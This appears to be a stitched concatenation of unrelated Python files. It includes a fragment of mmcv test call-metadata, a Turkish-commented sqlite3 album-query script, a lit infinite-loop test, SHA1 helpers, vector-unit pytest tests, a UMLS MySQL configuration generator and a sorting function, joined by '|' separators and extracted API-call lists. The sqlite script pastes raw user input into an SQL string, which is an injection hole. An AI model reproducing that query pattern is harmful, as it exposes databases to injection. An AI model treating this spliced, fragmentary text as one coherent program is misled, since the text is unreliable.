'patch.object', (['PetrelBackend', 'method'], {'return_value': 'None'}), '(PetrelBackend, method, return_value=None)\n', (960, 1002), False, 'from unittest.mock import MagicMock, patch\n'), ((1071, 1125), 'mmcv.dump', 'mmcv.dump', (['test_obj', 'filename'], {'file_format': 'file_format'}), '(test_obj, filename, file_format=file_format)\n', (1080, 1125), False, 'import mmcv\n'), ((1213, 1260), 'tempfile.NamedTemporaryFile', 'tempfile.NamedTemporaryFile', (['mode'], {'delete': '(False)'}), '(mode, delete=False)\n', (1240, 1260), False, 'import tempfile\n'), ((1305, 1352), 'mmcv.dump', 'mmcv.dump', (['test_obj', 'f'], {'file_format': 'file_format'}), '(test_obj, f, file_format=file_format)\n', (1314, 1352), False, 'import mmcv\n'), ((1448, 1485), 'mmcv.load', 'mmcv.load', (['f'], {'file_format': 'file_format'}), '(f, file_format=file_format)\n', (1457, 1485), False, 'import mmcv\n'), ((1645, 1666), 'tempfile.gettempdir', 'tempfile.gettempdir', ([], {}), '()\n', (1664, 1666), False, 'import tempfile\n'), ((2755, 2780), 'pytest.raises', 'pytest.raises', (['ValueError'], {}), '(ValueError)\n', (2768, 2780), False, 'import pytest\n'), ((2790, 2809), 'mmcv.dump', 'mmcv.dump', (['test_obj'], {}), '(test_obj)\n', (2799, 2809), False, 'import mmcv\n'), ((2820, 2844), 'pytest.raises', 'pytest.raises', (['TypeError'], {}), '(TypeError)\n', (2833, 2844), False, 'import pytest\n'), ((2854, 2884), 'mmcv.dump', 'mmcv.dump', (['test_obj', '"""tmp.txt"""'], {}), "(test_obj, 'tmp.txt')\n", (2863, 2884), False, 'import mmcv\n'), ((3741, 3762), 'tempfile.gettempdir', 'tempfile.gettempdir', ([], {}), '()\n', (3760, 3762), False, 'import tempfile\n'), ((4028, 4049), 'os.path.dirname', 'osp.dirname', (['__file__'], {}), '(__file__)\n', (4039, 4049), True, 'import os.path as osp\n'), ((4670, 4745), 'unittest.mock.patch.object', 'patch.object', (['HTTPBackend', '"""get_text"""'], {'return_value': '"""1.jpg\n2.jpg\n3.jpg"""'}), '(HTTPBackend, \'get_text\', return_value="""1.jpg\n2.jpg\n3.jpg""")\n', (4682, 4745), False, 'from unittest.mock import MagicMock, patch\n'), ((4823, 4890), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {'file_client_args': "{'backend': 'http'}"}), "(filename, file_client_args={'backend': 'http'})\n", (4842, 4890), False, 'import mmcv\n'), ((4978, 5044), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {'file_client_args': "{'prefix': 'http'}"}), "(filename, file_client_args={'prefix': 'http'})\n", (4997, 5044), False, 'import mmcv\n'), ((5132, 5161), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {}), '(filename)\n', (5151, 5161), False, 'import mmcv\n'), ((5254, 5331), 'unittest.mock.patch.object', 'patch.object', (['PetrelBackend', '"""get_text"""'], {'return_value': '"""1.jpg\n2.jpg\n3.jpg"""'}), '(PetrelBackend, \'get_text\', return_value="""1.jpg\n2.jpg\n3.jpg""")\n', (5266, 5331), False, 'from unittest.mock import MagicMock, patch\n'), ((5407, 5476), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {'file_client_args': "{'backend': 'petrel'}"}), "(filename, file_client_args={'backend': 'petrel'})\n", (5426, 5476), False, 'import mmcv\n'), ((5564, 5628), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {'file_client_args': "{'prefix': 's3'}"}), "(filename, file_client_args={'prefix': 's3'})\n", (5583, 5628), False, 'import mmcv\n'), ((5716, 5745), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {}), '(filename)\n', (5735, 5745), False, 'import mmcv\n'), ((5879, 5900), 'os.path.dirname', 'osp.dirname', (['__file__'], {}), '(__file__)\n', (5890, 5900), True, 'import os.path as osp\n'), ((6193, 6279), 'unittest.mock.patch.object', 'patch.object', (['HTTPBackend', '"""get_text"""'], {'return_value': '"""1 cat\n2 dog cow\n3 panda"""'}), '(HTTPBackend, \'get_text\', return_value=\n """1 cat\n2 dog cow\n3 panda""")\n', (6205, 6279), False, 'from unittest.mock import MagicMock, patch\n'), ((6351, 6418), 'mmcv.dict_from_file', 'mmcv.dict_from_file', (['filename'], {'file_client_args': "{'backend': 'http'}"}), "(filename, file_client_args={'backend': 'http'})\n", (6370, 6418), False, 'import mmcv\n'), ((6524, 6590), 'mmcv.dict_from_file', 'mmcv.dict_from_file', (['filename'], {'file_client_args': "{'prefix': 'http'}"}), "(filename, file_client_args={'prefix': 'http'})\n", (6543, 6590), False, 'import mmcv\n'), ((6696, 6725), 'mmcv.dict_from_file', 'mmcv.dict_from_file', (['filename'], {}), '(filename)\n', (6715, 6725), False, 'import mmcv\n'), ((6837, 6925), 'unittest.mock.patch.object', 'patch.object', (['PetrelBackend', '"""get_text"""'], {'return_value': '"""1 cat\n2 dog cow\n3 panda"""'}), '(PetrelBackend, \'get_text\', return_value=\n """1 cat\n2 dog cow\n3 panda""")\n', (6849, 6925), False, 'from unittest.mock import MagicMock, patch\n'), ((7007, 7076), 'mmcv.dict_from_file', 'mmcv.dict_from_file', (['filename'], {'file_client_args': "{'backend': 'petrel'}"}), "(filename, file_client_args={'backend': 'petrel'})\n", (7026, 7076), False, 'import mmcv\n'), ((7182, 7246), 'mmcv.dict_from_file', 'mmcv.dict_from_file', (['filename'], {'file_client_args': "{'prefix': 's3'}"}), "(filename, file_client_args={'prefix': 's3'})\n", (7201, 7246), False, 'import mmcv\n'), ((7352, 7381), 'mmcv.dict_from_file', 'mmcv.dict_from_file', (['filename'], {}), '(filename)\n', (7371, 7381), False, 'import mmcv\n'), ((2565, 2587), 'pickle.loads', 'pickle.loads', (['dump_str'], {}), '(dump_str)\n', (2577, 2587), False, 'import pickle\n'), ((3610, 3631), 'os.path.dirname', 'osp.dirname', (['__file__'], {}), '(__file__)\n', (3621, 3631), True, 'import os.path as osp\n')] |
import sqlite3 as sql
#veritabanına bağlandıktan sonra sorgu göndermek icin bir nesneye ve buna bağlı bir cursor ihtiyacımız var
db = sql.connect(r"chinook\chinook.db")
#connect methodu veritabanına bağlamamızı sağlar. veritabanı belirtilen adreste yoksa sıfırdan oluşturur
#adres kısmına dikkat etmekte fayda var
cur = db.cursor()#cursor sayesinde sorguları veritabanına gönderir sonuçları alabiliriz
sorgu = "SELECT * FROM albums"
sanatci = input("Sorgulamak istediğiniz sanatçının ismini giriniz: ")
if sanatci:
sorgu += fr" WHERE artistId IN (SELECT artistId FROM artists WHERE NAME LIKE '{sanatci}')"
cur.execute(sorgu)
print(*cur.fetchall())
# print(cur.fetchmany())
# print(cur.fetchone())
# print(cur.fetchone())
# print(cur.fetchone())
# print(cur.fetchall())
| [
"sqlite3.connect"
] | [((134, 168), 'sqlite3.connect', 'sql.connect', (['"""chinook\\\\chinook.db"""'], {}), "('chinook\\\\chinook.db')\n", (145, 168), True, 'import sqlite3 as sql\n')] |
# RUN: %{python} %s
from __future__ import print_function
import time
import sys
print("Running infinite loop")
sys.stdout.flush() # Make sure the print gets flushed so it appears in lit output.
while True:
pass
| [
"sys.stdout.flush"
] | [((114, 132), 'sys.stdout.flush', 'sys.stdout.flush', ([], {}), '()\n', (130, 132), False, 'import sys\n')] |
import hashlib
def file_sha1(file: str) -> str:
sha1 = hashlib.sha1()
with open(file, 'rb') as f:
buffer = f.read(65536)
while len(buffer) > 0:
sha1.update(buffer)
buffer = f.read(65536)
return sha1.hexdigest()
def str_sha1(s: str) -> str:
sha1 = hashlib.sha1()
sha1.update(s.encode('utf-8'))
return sha1.hexdigest()
| [
"hashlib.sha1"
] | [((61, 75), 'hashlib.sha1', 'hashlib.sha1', ([], {}), '()\n', (73, 75), False, 'import hashlib\n'), ((307, 321), 'hashlib.sha1', 'hashlib.sha1', ([], {}), '()\n', (319, 321), False, 'import hashlib\n')] |
import pytest
from siquant import SIUnit, si, make
from euclidean.constants import eta
from euclidean.siquant.factory import make_factory, V2Quantity, V3Quantity
from euclidean.R2 import V2
from euclidean.R3 import V3
SIUnit.factory = make_factory(V2Quantity, V3Quantity)
def test_create():
xyz = make(V3(1, 2, 3), si.meters)
assert V3(1, 2, 3) * si.meters == xyz
assert V3(1, 2, 3) == xyz.get_as(si.meters)
assert V3(1000, 2000, 3000) == xyz.get_as(si.millimeters)
assert V2(1, 2) * si.meters == xyz.xy()
assert V2(2, 3) * si.meters == xyz.yz()
assert V2(1, 3) * si.meters == xyz.xz()
def test_cmp():
xyz = V3(1, 2, 3) * si.meters
assert not V3(1, 2, 3) == xyz
assert not None == xyz
def test_angle():
x = V3(1, 0, 0) * si.meters
y = V3(0, 1, 0) * si.millimeters
assert pytest.approx(eta) == x.angle(y).get_as(si.radians)
z = V3(0, 0, 1) * si.meters
assert pytest.approx(eta) == x.angle(z).get_as(si.radians)
def test_v3_cross():
x = V3(1, 0, 0) * si.meters
y = V3(0, 1, 0) * si.meters
assert make(V3(0, 0, 1), si.meters ** 2).approx(x.cross(y))
assert make(V3(0, 0, -1), si.meters ** 2).approx(y.cross(x))
def test_v3_manhattan_distance():
xyz = V3(1, 2, 3) * si.meters
assert 6 * si.meters == xyz.manhattan_distance()
def test_v3_magnitude():
xyz = V3(1, 1, 1) * si.meters
assert pytest.approx(3 ** 0.5) == xyz.magnitude().get_as(si.meters)
def test_v3_unit():
xyz = V3(1, 2, 3) * si.meters
assert pytest.approx(1) == xyz.unit().magnitude().quantity
def test_v3_add():
xyz = V3(1, 2, 3) * si.meters
assert make(V3(2, 4, 6), si.meters).approx(xyz + xyz)
with pytest.raises(TypeError):
xyz + V3(1, 2, 3)
def test_v3_sub():
xyz = V3(1, 2, 3) * si.meters
assert make(V3(0, 0, 0), si.meters).approx(xyz - xyz)
with pytest.raises(TypeError):
xyz - V3(1, 2, 3)
def test_v3_mul():
xyz = V3(1, 2, 3) * si.meters
assert make(V3(2, 4, 6), si.meters).approx(xyz * 2)
assert make(V3(2, 4, 6), si.meters).approx(2 * xyz)
with pytest.raises(TypeError):
xyz * xyz
def test_v3_div():
xyz = V3(2, 4, 6) * si.meters
assert make(V3(1, 2, 3), si.meters).approx(xyz / 2)
with pytest.raises(TypeError):
2 / xyz
with pytest.raises(TypeError):
xyz / None
| [
"pytest.approx",
"euclidean.siquant.factory.make_factory",
"euclidean.R3.V3",
"pytest.raises",
"euclidean.R2.V2"
] | [((239, 275), 'euclidean.siquant.factory.make_factory', 'make_factory', (['V2Quantity', 'V3Quantity'], {}), '(V2Quantity, V3Quantity)\n', (251, 275), False, 'from euclidean.siquant.factory import make_factory, V2Quantity, V3Quantity\n'), ((313, 324), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (315, 324), False, 'from euclidean.R3 import V3\n'), ((391, 402), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (393, 402), False, 'from euclidean.R3 import V3\n'), ((439, 459), 'euclidean.R3.V3', 'V3', (['(1000)', '(2000)', '(3000)'], {}), '(1000, 2000, 3000)\n', (441, 459), False, 'from euclidean.R3 import V3\n'), ((651, 662), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (653, 662), False, 'from euclidean.R3 import V3\n'), ((765, 776), 'euclidean.R3.V3', 'V3', (['(1)', '(0)', '(0)'], {}), '(1, 0, 0)\n', (767, 776), False, 'from euclidean.R3 import V3\n'), ((797, 808), 'euclidean.R3.V3', 'V3', (['(0)', '(1)', '(0)'], {}), '(0, 1, 0)\n', (799, 808), False, 'from euclidean.R3 import V3\n'), ((838, 856), 'pytest.approx', 'pytest.approx', (['eta'], {}), '(eta)\n', (851, 856), False, 'import pytest\n'), ((899, 910), 'euclidean.R3.V3', 'V3', (['(0)', '(0)', '(1)'], {}), '(0, 0, 1)\n', (901, 910), False, 'from euclidean.R3 import V3\n'), ((935, 953), 'pytest.approx', 'pytest.approx', (['eta'], {}), '(eta)\n', (948, 953), False, 'import pytest\n'), ((1018, 1029), 'euclidean.R3.V3', 'V3', (['(1)', '(0)', '(0)'], {}), '(1, 0, 0)\n', (1020, 1029), False, 'from euclidean.R3 import V3\n'), ((1050, 1061), 'euclidean.R3.V3', 'V3', (['(0)', '(1)', '(0)'], {}), '(0, 1, 0)\n', (1052, 1061), False, 'from euclidean.R3 import V3\n'), ((1250, 1261), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (1252, 1261), False, 'from euclidean.R3 import V3\n'), ((1365, 1376), 'euclidean.R3.V3', 'V3', (['(1)', '(1)', '(1)'], {}), '(1, 1, 1)\n', (1367, 1376), False, 'from euclidean.R3 import V3\n'), ((1401, 1424), 'pytest.approx', 'pytest.approx', (['(3 ** 0.5)'], {}), '(3 ** 0.5)\n', (1414, 1424), False, 'import pytest\n'), ((1494, 1505), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (1496, 1505), False, 'from euclidean.R3 import V3\n'), ((1530, 1546), 'pytest.approx', 'pytest.approx', (['(1)'], {}), '(1)\n', (1543, 1546), False, 'import pytest\n'), ((1613, 1624), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (1615, 1624), False, 'from euclidean.R3 import V3\n'), ((1706, 1730), 'pytest.raises', 'pytest.raises', (['TypeError'], {}), '(TypeError)\n', (1719, 1730), False, 'import pytest\n'), ((1789, 1800), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (1791, 1800), False, 'from euclidean.R3 import V3\n'), ((1882, 1906), 'pytest.raises', 'pytest.raises', (['TypeError'], {}), '(TypeError)\n', (1895, 1906), False, 'import pytest\n'), ((1965, 1976), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (1967, 1976), False, 'from euclidean.R3 import V3\n'), ((2112, 2136), 'pytest.raises', 'pytest.raises', (['TypeError'], {}), '(TypeError)\n', (2125, 2136), False, 'import pytest\n'), ((2187, 2198), 'euclidean.R3.V3', 'V3', (['(2)', '(4)', '(6)'], {}), '(2, 4, 6)\n', (2189, 2198), False, 'from euclidean.R3 import V3\n'), ((2278, 2302), 'pytest.raises', 'pytest.raises', (['TypeError'], {}), '(TypeError)\n', (2291, 2302), False, 'import pytest\n'), ((2330, 2354), 'pytest.raises', 'pytest.raises', (['TypeError'], {}), '(TypeError)\n', (2343, 2354), False, 'import pytest\n'), ((349, 360), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (351, 360), False, 'from euclidean.R3 import V3\n'), ((502, 510), 'euclidean.R2.V2', 'V2', (['(1)', '(2)'], {}), '(1, 2)\n', (504, 510), False, 'from euclidean.R2 import V2\n'), ((546, 554), 'euclidean.R2.V2', 'V2', (['(2)', '(3)'], {}), '(2, 3)\n', (548, 554), False, 'from euclidean.R2 import V2\n'), ((590, 598), 'euclidean.R2.V2', 'V2', (['(1)', '(3)'], {}), '(1, 3)\n', (592, 598), False, 'from euclidean.R2 import V2\n'), ((691, 702), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (693, 702), False, 'from euclidean.R3 import V3\n'), ((1746, 1757), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (1748, 1757), False, 'from euclidean.R3 import V3\n'), ((1922, 1933), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (1924, 1933), False, 'from euclidean.R3 import V3\n'), ((1091, 1102), 'euclidean.R3.V3', 'V3', (['(0)', '(0)', '(1)'], {}), '(0, 0, 1)\n', (1093, 1102), False, 'from euclidean.R3 import V3\n'), ((1155, 1167), 'euclidean.R3.V3', 'V3', (['(0)', '(0)', '(-1)'], {}), '(0, 0, -1)\n', (1157, 1167), False, 'from euclidean.R3 import V3\n'), ((1654, 1665), 'euclidean.R3.V3', 'V3', (['(2)', '(4)', '(6)'], {}), '(2, 4, 6)\n', (1656, 1665), False, 'from euclidean.R3 import V3\n'), ((1830, 1841), 'euclidean.R3.V3', 'V3', (['(0)', '(0)', '(0)'], {}), '(0, 0, 0)\n', (1832, 1841), False, 'from euclidean.R3 import V3\n'), ((2006, 2017), 'euclidean.R3.V3', 'V3', (['(2)', '(4)', '(6)'], {}), '(2, 4, 6)\n', (2008, 2017), False, 'from euclidean.R3 import V3\n'), ((2062, 2073), 'euclidean.R3.V3', 'V3', (['(2)', '(4)', '(6)'], {}), '(2, 4, 6)\n', (2064, 2073), False, 'from euclidean.R3 import V3\n'), ((2228, 2239), 'euclidean.R3.V3', 'V3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (2230, 2239), False, 'from euclidean.R3 import V3\n')] |
#!/usr/bin/env python3
import MySQLdb
import getpass
# Generate configuration for the "umls2rdf" software, by querying which data sources are
# available in an installed UMLS mysql database; this script prints the configuration
# information as CSV to stdout.
password = getpass.getpass("Please enter the password for accessing a UMLS mysql database: ")
conn = MySQLdb.connect(host='kg2dev.saramsey.org',
user='ubuntu',
passwd=password,
db='umls',
use_unicode=True)
cursor = conn.cursor()
cursor.execute("select distinct RSAB from MRSAB") # SAR: add where clause to specify language = ENG?
for record in cursor.fetchall():
sab = record[0]
print(sab + ',' + 'umls-' + sab.lower() + '.ttl' + ',' + 'load_on_codes')
| [
"MySQLdb.connect",
"getpass.getpass"
] | [((273, 360), 'getpass.getpass', 'getpass.getpass', (['"""Please enter the password for accessing a UMLS mysql database: """'], {}), "(\n 'Please enter the password for accessing a UMLS mysql database: ')\n", (288, 360), False, 'import getpass\n'), ((364, 472), 'MySQLdb.connect', 'MySQLdb.connect', ([], {'host': '"""kg2dev.saramsey.org"""', 'user': '"""ubuntu"""', 'passwd': 'password', 'db': '"""umls"""', 'use_unicode': '(True)'}), "(host='kg2dev.saramsey.org', user='ubuntu', passwd=password,\n db='umls', use_unicode=True)\n", (379, 472), False, 'import MySQLdb\n')] |
from copy import deepcopy
from typing import List
__doc__ = """
Sorting algorithm for arrays of numeric values
Functions:
sort(int[], bool) -> int[]
"""
def sort(incoming_bucket, duplicates=True):
'''
Sorts an array of numbers
Parameters:
incoming_bucket (int[]): An array of integers
dupplicates (bool): Flag for taking duplicate values into account
default: True
Returns:
result_array (int[]): Sorted array of integers
'''
def __create_bracket(subset, initial_bracket, lower_value, upper_value):
search_lower = True
search_upper = True
for index in range(0, len(subset)):
seed = subset[index]
if search_upper and seed > subset[-1]:
subset[index], subset[-1] = subset[-1], subset[index]
if not initial_bracket and seed == upper_value:
search_upper = False
continue
elif search_lower and seed < subset[0]:
subset[index], subset[0] = subset[0], subset[index]
if not initial_bracket and seed == lower_value:
search_lower = False
continue
return subset[0], subset[-1], subset[1:-1]
def __combine_lower(lower_end, lower_addition):
if isinstance(lower_addition, List):
lower_end = lower_end + lower_addition
else:
lower_end = lower_end + [lower_addition]
return lower_end
def __combine_higher(upper_end, upper_addition):
if isinstance(upper_addition, List):
upper_end = upper_addition + upper_end
else:
upper_end = [upper_addition] + upper_end
return upper_end
def __extract_duplicates(subset, lower_value, upper_value):
lower_value_count = 0
upper_value_count = 0
remainder = []
for seed in subset:
if seed == lower_value:
lower_value_count += 1
elif seed == upper_value:
upper_value_count += 1
else:
remainder.append(seed)
return [lower_value]*lower_value_count, [upper_value]*upper_value_count, remainder
remainder = deepcopy(incoming_bucket)
lower_ordered_set = []
upper_ordered_set = []
upper_value = 0
lower_value = 0
initial_bracket = True
while len(remainder) > 1:
lower_value, upper_value, remainder = __create_bracket(
remainder, initial_bracket, lower_value, upper_value)
initial_bracket = False
lower_ordered_set = __combine_lower(lower_ordered_set, lower_value)
upper_ordered_set = __combine_higher(upper_ordered_set, upper_value)
if not duplicates:
continue
if lower_value != upper_value:
lower_addition, upper_addition, remainder = __extract_duplicates(
remainder, lower_value, upper_value)
if len(lower_addition) > 0:
lower_ordered_set = __combine_lower(
lower_ordered_set, lower_addition)
if len(upper_addition) > 0:
upper_ordered_set = __combine_higher(
upper_ordered_set, upper_addition)
else:
break
result_array = lower_ordered_set + remainder + upper_ordered_set
return result_array
| [
"copy.deepcopy"
] | [((2297, 2322), 'copy.deepcopy', 'deepcopy', (['incoming_bucket'], {}), '(incoming_bucket)\n', (2305, 2322), False, 'from copy import deepcopy\n')] |